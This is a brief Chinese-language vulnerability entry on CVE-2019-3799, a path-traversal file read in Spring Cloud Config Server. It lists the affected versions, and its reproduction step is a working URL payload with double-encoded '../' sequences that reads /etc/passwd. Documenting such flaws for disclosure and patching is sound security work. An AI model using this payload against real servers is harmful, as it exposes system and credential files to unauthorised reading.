CVE-2019-3799 Spring Cloud Config Server 任意文件读取¶

一、漏洞简介¶

二、漏洞影响¶

Spring Cloud Config 2.1.0 to 2.1.1

Spring Cloud Config 2.0.0 to 2.0.3

Spring Cloud Config 1.4.0 to 1.4.5

其他不受支持的老版本 （如Spring Cloud Config1.3及其以下版本）

三、复现过程¶

http://url/test/pathtraversal/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd